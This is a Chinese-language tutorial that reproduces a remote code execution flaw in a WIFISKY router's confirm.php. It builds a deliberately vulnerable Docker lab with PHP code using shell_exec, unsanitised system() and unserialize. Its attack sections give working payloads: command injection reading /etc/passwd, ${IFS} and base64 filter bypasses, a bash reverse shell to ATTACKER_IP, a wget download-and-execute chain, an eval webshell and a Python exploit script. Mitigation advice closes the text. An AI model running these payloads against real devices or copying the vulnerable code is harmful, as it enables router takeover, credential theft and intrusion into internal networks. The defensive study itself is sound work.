路由器RCE漏洞复现:从PHP代码审计到Docker环境搭建与利用
1. 项目概述:一次针对特定路由器管理漏洞的深度剖析
最近在整理一些老旧网络设备的漏洞案例时,WIFISKY品牌某型号7层流控路由器的一个历史漏洞引起了我的注意。这个漏洞的入口点是一个名为 confirm.php 的文件,最终能导致远程代码执行。对于从事网络安全研究、渗透测试或者对路由器安全感兴趣的朋友来说,这类漏洞的复现与分析过程极具学习价值。它不仅能帮助我们理解路由器Web管理界面常见的安全缺陷,更能让我们掌握从漏洞信息到实际利用的完整链条。今天,我就把自己搭建环境、分析原理、到最终复现RCE的整个过程详细记录下来,其中包含了不少在公开文档里很少提及的细节和踩坑经验。无论你是想提升实战能力的安全从业者,还是想加固自己网络设备的运维人员,这篇文章都能提供直接的参考。
2. 漏洞背景与核心原理拆解
2.1 WIFISKY路由器与“7层流控”是什么?
在深入漏洞之前,有必要先了解一下目标设备。WIFISKY并非家喻户晓的消费级品牌,它更多出现在一些中小企业、校园网或特定行业的网络解决方案中。所谓的“7层流控路由器”,指的是具备第七层(应用层)流量识别和控制能力的路由器。它不像普通家用路由器只能基于IP和端口做限制,而是可以深度解析HTTP、FTP等应用协议的内容,从而实现更精细化的带宽管理、应用封锁或流量整形。这类设备的管理功能通常非常复杂,因此会配备一个功能丰富的Web管理界面,而 confirm.php 正是这个庞大管理系统中的一个交互脚本。
这类设备的安全问题往往具有代表性。厂商可能更注重功能实现和流控性能,在Web应用安全开发规范上存在疏漏;同时,设备固件更新不频繁,甚至很多设备在部署后就不再升级,导致已知漏洞长期存在。理解这个背景,就能明白为什么一个PHP文件会成为突破口。
2.2 confirm.php文件的功能与漏洞成因推测
根据漏洞编号和公开的零星信息, confirm.php 文件通常用于执行某些管理操作的“最终确认”。例如,在提交一个复杂的配置变更(如流控策略、防火墙规则)后,系统可能会生成一个确认页面,由 confirm.php 处理最终的提交参数并执行写入或更新操作。
漏洞的核心,大概率出在参数处理逻辑上。一种非常典型的模式是:脚本接收用户传入的参数(如 config 、 data 、 command 等),未经充分过滤或验证,便直接拼接进系统命令(如 echo $input > /tmp/config.cfg )或者传递给某些危险的PHP函数(如 eval() 、 system() 、 exec() )。在路由器这种嵌入式Linux环境中,Web服务(通常是轻量级的 boa 或 lighttpd )以root或高权限身份运行,一旦命令执行成功,攻击者就能完全控制设备。
注意:由于无法获取到漏洞设备的真实固件进行逆向分析,以下原理和复现步骤是基于常见路由器漏洞模式、PHP代码审计经验以及公开漏洞描述进行的合理推演和重构。在实际的漏洞研究工作中,这种“黑盒”与“经验”结合的分析方法非常关键。
2.3 RCE漏洞的严重性分析
远程代码执行漏洞是最高危的漏洞类型之一。在路由器上成功利用RCE,意味着攻击者可以:
- 完全控制网络流量 :可以篡改DNS设置、发起中间人攻击、监听所有经过路由器的数据。
- 窃取敏感信息 :访问路由器存储的PPPoE拨号密码、VPN密钥、网络设备管理密码等。
- 作为内网跳板 :路由器通常位于网络边界,控制它就等于拿到了进入内网的第一把钥匙,可以进一步扫描和攻击内网其他机器。
- 破坏网络稳定性 :可以刷写固件、删除配置,导致网络中断。
因此,复现此类漏洞绝非为了攻击,而是为了深刻理解其危害,从而更好地进行防御和监测。
3. 复现环境搭建与难点解析
3.1 环境准备:模拟目标路由器
复现这类特定厂商、特定固件的漏洞,最大的挑战就是环境搭建。我们不太可能去找一台真实的WIFISKY路由器,因此需要搭建一个模拟环境。
方案选择:使用Docker容器模拟嵌入式环境
最贴近实战的方法是提取路由器固件,并在QEMU虚拟机中运行。但这需要一定的逆向工程基础。为了更通用和便捷,我选择使用Docker来构建一个高度仿真的环境:
- 基础镜像 :选择一个轻量级的Linux镜像,如
alpine或debian:stable-slim,以模拟路由器的资源限制。 - Web服务 :安装
lighttpd和PHP-CGI。因为很多嵌入式设备使用lighttpd的mod_cgi或mod_fastcgi来运行PHP,这与Apache+mod_php的环境略有不同,可能影响到某些漏洞的利用方式。 - 权限设置 :将Web服务(
lighttpd)的运行用户设置为root,或者将其加入sudo组并配置免密执行特定命令。这模拟了路由器中Web服务高权限运行的现实情况( 注意:这是为了复现漏洞特意营造的不安全环境,生产环境绝对禁止这样操作 )。
具体搭建步骤记录:
# Dockerfile
FROM debian:stable-slim
RUN apt-get update && apt-get install -y \
lighttpd \
php-cgi \
curl \
net-tools \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# 配置lighttpd使用PHP-CGI
RUN lighty-enable-mod fastcgi-php
COPY ./lighttpd.conf /etc/lighttpd/lighttpd.conf
COPY ./php.ini /etc/php/7.4/cgi/php.ini # 根据实际PHP版本调整
# 创建有漏洞的confirm.php文件
COPY ./confirm.php /var/www/html/
# 将lighttpd的运行用户改为root(仅用于漏洞复现环境!)
RUN sed -i 's/server.username.*/server.username = "root"/' /etc/lighttpd/lighttpd.conf
RUN sed -i 's/server.groupname.*/server.groupname = "root"/' /etc/lighttpd/lighttpd.conf
EXPOSE 80
CMD ["lighttpd", "-D", "-f", "/etc/lighttpd/lighttpd.conf"]
3.2 漏洞代码还原与植入
这是复现的关键。我们需要根据漏洞描述,编写一个存在漏洞的 confirm.php 文件。基于常见模式,我设计了以下可能存在漏洞的代码:
<?php
// confirm.php - 模拟存在漏洞的版本
error_reporting(0);
// 假设从GET或POST请求中获取操作指令和配置数据
$action = $_REQUEST['action'];
$config_data = $_REQUEST['data'];
// 模拟一个需要确认的危险操作:将配置写入文件或执行命令
if ($action == 'save_flow_control') {
// 漏洞点1:未过滤直接将数据写入文件
$filename = '/tmp/flow_rule_'. time(). '.cfg';
file_put_contents($filename, $config_data);
echo "配置已保存至: $filename<br>";
// 漏洞点2:更严重的,如果data参数包含系统命令并拼接
if (isset($_REQUEST['debug']) && $_REQUEST['debug'] == '1') {
// 假设这是一个“调试模式”,会执行数据中的命令
$output = shell_exec($config_data); // 危险!未经过滤直接执行
echo "<pre>调试输出:\n$output</pre>";
}
// 漏洞点3:通过序列化数据触发PHP对象注入(可能链接触发RCE)
if ($action == 'restore_backup') {
$backup_data = base64_decode($config_data);
$config_array = unserialize($backup_data); // 危险!反序列化不可信数据
// ... 后续操作可能利用魔术方法触发RCE
}
} elseif ($action == 'ping_test') {
// 漏洞点4:命令拼接注入
$host = $_REQUEST['host'];
system('ping -c 2 ' . $host); // 经典命令注入,如果host是“127.0.0.1; id”
}
?>
这个文件模拟了多种常见的漏洞模式:未过滤的文件写入、直接执行 shell_exec 、不安全的反序列化、命令拼接。在真实漏洞中,可能只存在其中一种或几种。
3.3 环境启动与验证
构建并运行Docker容器:
docker build -t wifisky-vuln .
docker run -d -p 8080:80 --name wifisky-test wifisky-vuln
访问 http://localhost:8080/confirm.php ,如果页面没有报错,说明环境基本就绪。你可以尝试访问 http://localhost:8080/confirm.php?action=ping_test&host=127.0.0.1 ,应该能看到ping命令的执行结果。这初步验证了我们的漏洞模拟环境是有效的。
4. 漏洞利用链的构造与手工复现
有了漏洞环境,我们就可以开始手工复现攻击链。我强烈建议从手工复现开始,它能让你更深刻地理解漏洞的每一个细节,而不是仅仅运行一个自动化工具。
4.1 信息收集与漏洞点探测
首先,我们需要确认漏洞的确切位置和利用方式。由于是模拟环境,我们已知漏洞在 confirm.php 。但在真实黑盒测试中,你需要:
- 发现入口 :通过扫描或目录爆破发现
confirm.php文件。 - 参数探测 :使用工具(如
ffuf、arjun)或手动测试,发现该文件接受哪些参数(action,data,debug,host等)。 - 行为分析 :通过传入不同的参数值,观察返回结果的差异、错误信息、执行时间等,判断后端逻辑。
例如,我们可以发送以下请求进行初步探测:
GET /confirm.php?action=save_flow_control&data=test123 HTTP/1.1
Host: target_ip
观察是否返回“配置已保存”之类的信息,确认 action 和 data 参数有效。
4.2 利用漏洞点2实现RCE(shell_exec)
这是最直接的一种利用方式。我们利用 debug 参数和 data 参数。
步骤一:验证命令执行
GET /confirm.php?action=save_flow_control&data=whoami&debug=1 HTTP/1.1
Host: localhost:8080
如果漏洞存在,响应中应该包含 whoami 命令的输出,很可能是 root 。
步骤二:尝试执行更复杂的命令 直接执行 id 可能成功,但如果想查看目录列表 ls -la ,就会遇到问题。因为参数在传递时,空格和特殊字符会被URL编码或破坏命令结构。
步骤三:绕过过滤与编码 这是实战中的关键技巧。如果直接传 data=ls -la , -la 可能会被当作独立的参数处理或导致解析失败。我们需要进行命令拼接或编码。
- 使用命令分隔符 :Linux中可以用分号
;、与&&、或||、换行%0a来拼接命令。data=id;ls -la - 使用Base64编码绕过 :如果系统过滤了某些字符,可以尝试将命令用Base64编码,然后通过管道解码执行。
data=echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg==|base64${IFS}-d|bash${IFS}是Shell中内部字段分隔符的变量,常用来替代空格。 - 使用反引号或$() :用于命令替换。
data=`cat${IFS}/etc/passwd`
在我们的模拟漏洞中,由于是直接传递 $config_data 给 shell_exec() ,利用非常简单:
GET /confirm.php?action=save_flow_control&data=cat /etc/passwd&debug=1
即可成功读取系统文件。
4.3 利用漏洞点4实现RCE(命令拼接)
漏洞点4是更经典的命令注入。 system('ping -c 2 ' . $host); 这里对 $host 变量没有做任何过滤。
利用方式:
GET /confirm.php?action=ping_test&host=127.0.0.1;id HTTP/1.1
这样,实际执行的命令就变成了 ping -c 2 127.0.0.1; id ,分号后的 id 命令会被执行。
进阶利用——获取反向Shell: 单纯执行命令并回显,有时无法进行交互式操作。获取一个反向Shell是控制服务器的标志。
- 在攻击机上监听一个端口:
nc -lvnp 4444 - 向漏洞路由器发送Payload,让其连接回攻击机:
这个Payload使用了GET /confirm.php?action=ping_test&host=127.0.0.1;bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ATTACKER_IP/4444${IFS}0>&1 HTTP/1.1bash -i来创建一个交互式Shell,并将其输入输出重定向到攻击机的TCP连接。这是最常用的反向Shell Payload之一。
实操心得 :在真实路由器环境中,可能没有
bash,只有ash或sh,甚至没有nc。你需要根据目标系统的环境调整Payload。常用的测试命令是which bash、which sh、which nc、which wget、which curl。如果没有bash,可以尝试sh -i。如果没有/dev/tcp(这是bash的特性),可能需要使用其他方法,如使用wget或curl下载一个二进制木马,或者使用telnet、openssl等工具建立连接。
4.4 漏洞点1和3的潜在利用
- 漏洞点1(任意文件写入) :虽然不能直接执行代码,但结合其他条件可能升级为RCE。例如,如果知道Web根目录路径,可以写入一个PHP Webshell文件(如
<?php @eval($_POST['cmd']);?>),然后访问这个文件即可执行任意PHP代码。在路由器中,Web根目录通常是/www或/var/www。 - 漏洞点3(不安全的反序列化) :这是更高级的漏洞,需要目标PHP环境中存在可利用的类(魔术方法
__destruct()或__wakeup()中包含了危险操作)。在路由器这种定制化环境中,寻找可利用的POP链比较困难,但一旦成功,利用起来非常稳定。这通常需要结合固件逆向分析来寻找合适的“小工具”。
5. 自动化利用脚本编写与优化
手工复现成功后,我们可以编写一个简单的Python脚本来自动化这个过程,使其更易于测试和演示。
#!/usr/bin/env python3
import requests
import sys
import urllib.parse
def exploit_rce(target_url, command):
"""
利用 confirm.php 的 debug 模式执行命令
"""
params = {
'action': 'save_flow_control',
'data': command,
'debug': '1'
}
try:
resp = requests.get(target_url, params=params, timeout=10)
# 从杂乱的HTML响应中提取命令输出
# 这里需要根据实际页面结构调整,示例中我们简单查找‘调试输出:’
if '调试输出:' in resp.text:
start = resp.text.find('调试输出:') + len('调试输出:')
# 简单截取<pre>标签内容,实际情况可能更复杂
end = resp.text.find('</pre>', start) if '</pre>' in resp.text else len(resp.text)
output = resp.text[start:end].strip()
return output
else:
return f"未找到命令输出。响应长度:{len(resp.text)}"
except Exception as e:
return f"请求失败: {e}"
def exploit_cmd_injection(target_url, command):
"""
利用 ping_test 功能的命令注入
"""
# 将命令注入到host参数中
payload = f"127.0.0.1; {command}"
params = {
'action': 'ping_test',
'host': payload
}
try:
resp = requests.get(target_url, params=params, timeout=10)
# 命令注入的输出通常会和ping的结果混在一起,需要仔细提取
# 这里只是一个简单示例,实际需要更精细的解析
return resp.text[:500] # 返回前500字符预览
except Exception as e:
return f"请求失败: {e}"
if __name__ == '__main__':
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <目标URL> <命令>")
print(f"示例: {sys.argv[0]} http://192.168.1.1/confirm.php 'id'")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
print(f"[*] 尝试通过 debug 模式执行命令...")
result1 = exploit_rce(target, cmd)
print(f"[+] RCE 结果:\n{result1}\n")
print(f"[*] 尝试通过命令注入执行命令...")
result2 = exploit_cmd_injection(target, cmd)
print(f"[+] 命令注入结果预览:\n{result2}\n")
脚本优化点:
- 错误处理 :增加更完善的异常捕获和超时设置。
- 输出解析 :编写更健壮的HTML解析逻辑(如使用
BeautifulSoup)来准确提取命令执行结果。 - 编码处理 :自动对命令进行URL编码,处理特殊字符。
- 利用链切换 :脚本可以自动尝试多种可能的漏洞参数和利用方式,直到一种成功。
- 交互式Shell :实现一个简单的交互式循环,模拟一个终端,方便连续执行命令。
6. 漏洞修复方案与安全加固建议
复现漏洞的最终目的是为了修复和防御。针对这类漏洞,可以从开发、部署、运维多个层面进行加固。
6.1 代码层面修复(给开发者的建议)
-
严格输入验证 :
- 白名单验证 :对于
action参数,只允许预设的几个值(如save,ping),拒绝任何其他值。 - 类型与格式检查 :对于
host参数,应使用正则表达式验证其是否为合法的IP地址或主机名。 - 示例代码修复 :
$allowed_actions = ['save_flow_control', 'ping_test']; $action = $_GET['action']; if (!in_array($action, $allowed_actions)) { die('非法操作'); } if ($action == 'ping_test') { $host = $_GET['host']; // 验证host是否为合法IP if (!filter_var($host, FILTER_VALIDATE_IP)) { die('主机地址不合法'); } // 使用escapeshellarg安全拼接命令 system('ping -c 2 ' . escapeshellarg($host)); }
- 白名单验证 :对于
-
禁用危险函数 :在嵌入式设备的PHP环境(
php.ini)中,通过disable_functions指令禁用system,exec,passthru,shell_exec,eval等函数。这是最直接有效的防护。 -
安全执行命令 :
- 如果必须执行系统命令,使用
escapeshellarg()或escapeshellcmd()函数对参数进行转义。 - 尽可能使用PHP内置函数完成文件操作、网络操作,避免调用Shell。
- 如果必须执行系统命令,使用
-
避免反序列化不可信数据 :绝对不要对用户输入的数据进行
unserialize()操作。如果必须使用序列化传输数据,应使用数字签名或HMAC验证其完整性和来源。
6.2 网络与设备层面加固(给运维人员的建议)
- 最小化网络暴露 :路由器的Web管理界面 绝对不应该 暴露在公网上。应通过VPN或专线访问内网后再进行管理。
- 强密码策略 :为管理后台设置复杂、唯一的密码,并定期更换。
- 及时更新固件 :关注厂商的安全公告,及时更新到最新固件版本。对于已停止维护的设备,应考虑升级替换。
- 网络分段与隔离 :将管理网络与业务网络进行隔离,限制对路由器管理IP的访问来源。
- 部署入侵检测 :在网络中部署IDS/IPS设备或软件,设置规则检测针对路由器管理界面的常见攻击Payload(如包含
;、|、$(、eval(等特征的请求)。
6.3 安全测试建议
对于企业来说,在部署此类网络设备前或定期巡检中,应进行安全测试:
- 授权测试 :在获得书面授权的前提下,对设备管理界面进行黑盒或灰盒渗透测试。
- 固件分析 :如果可能,对固件进行解包分析,查找硬编码密码、未授权服务、已知漏洞组件等。
- 配置审计 :检查设备的默认配置是否安全,如是否开启了不必要的服务(Telnet、SSH、SNMP)、是否使用了默认凭据。
7. 复现过程中的常见问题与排查实录
在搭建和复现过程中,我遇到了不少问题,这里记录下排查思路,希望能帮你节省时间。
问题1:Docker容器内Web服务访问正常,但执行命令无回显。
- 现象 :访问
confirm.php页面正常,但传入debug=1和命令后,页面只显示“调试输出:”字样,后面是空的。 - 排查 :
- 首先在
confirm.php开头加入error_reporting(E_ALL);,查看是否有PHP错误。发现是shell_exec()函数被禁用。 - 检查PHP配置:在容器内执行
php -i | grep disable_functions,果然发现shell_exec在禁用列表中。 - 解决 :修改Dockerfile中拷贝的
php.ini文件,将disable_functions列表中shell_exec移除,或者直接置空。然后重建容器。
- 首先在
- 心得 :嵌入式设备的PHP环境配置千差万别,可能禁用了一部分危险函数,但可能留了
system()或passthru()。测试时要多尝试不同的函数。
问题2:命令注入成功,但反向Shell无法建立连接。
- 现象 :
ping 127.0.0.1; id可以执行并看到id命令的结果,但使用bash -i >& /dev/tcp/...的Payload时,攻击机监听端口没有反应。 - 排查 :
- 检查命令是否存在 :先执行
which bash,发现返回/bin/bash,存在。 - 检查网络连通性 :在路由器上执行
ping ATTACKER_IP,确认路由可达。 - 检查防火墙 :执行
iptables -L -n,发现路由器有出站限制。这是企业级路由器常见情况。 - 尝试替代方案 :使用其他建立连接的方式,如
wget ATTACKER_IP:8000/shell.sh -O /tmp/s.sh && chmod +x /tmp/s.sh && /tmp/s.sh,或者使用telnet、openssl s_client。 - 简化测试 :先尝试一个能立即看到效果的Payload,如
ping 127.0.0.1; wget http://ATTACKER_IP/test.txt,在攻击机用python3 -m http.server开一个HTTP服务,看是否有访问日志。这样可以先确认命令执行和网络出站是否同时可行。
- 检查命令是否存在 :先执行
- 心得 :路由器环境限制多,利用Payload需要根据目标环境灵活调整。出站限制是获取反向Shell的最大障碍之一,有时需要结合其他漏洞(如任意文件写入上传Webshell)来突破。
问题3:模拟漏洞代码在真实漏洞利用中行为不一致。
- 现象 :根据公开的漏洞描述,利用方式可能和我们的模拟代码不同。例如,真实漏洞可能需要特定的
action值,或者参数名不同(如cmd而不是data)。 - 排查 :
- 仔细阅读漏洞公告 :查看是否有更多细节,如请求方法(GET/POST)、必需的参数、触发漏洞的精确值。
- 进行模糊测试 :使用工具对
confirm.php的所有参数进行模糊测试,尝试各种可能的参数名和值组合,观察响应差异。 - 寻找更多信息 :搜索是否有其他人写的漏洞分析文章、PoC脚本或视频,参考他们的利用方法。
- 心得 :漏洞复现,尤其是基于有限信息的复现,是一个不断假设、测试、修正的过程。公开的漏洞描述往往只是冰山一角,真正的利用细节需要自己通过测试去挖掘和验证。保持耐心和细致的观察力至关重要。
整个复现过程下来,最深的体会是,对于嵌入式设备漏洞,环境差异是最大的挑战。从模拟环境到真实设备,从PoC到稳定的利用,每一步都可能遇到意想不到的问题。但正是解决这些问题的过程,才让我们的技术理解更加深刻。希望这份详细的记录,能为你研究类似漏洞提供一个清晰的思路和实用的参考框架。
更多推荐



所有评论(0)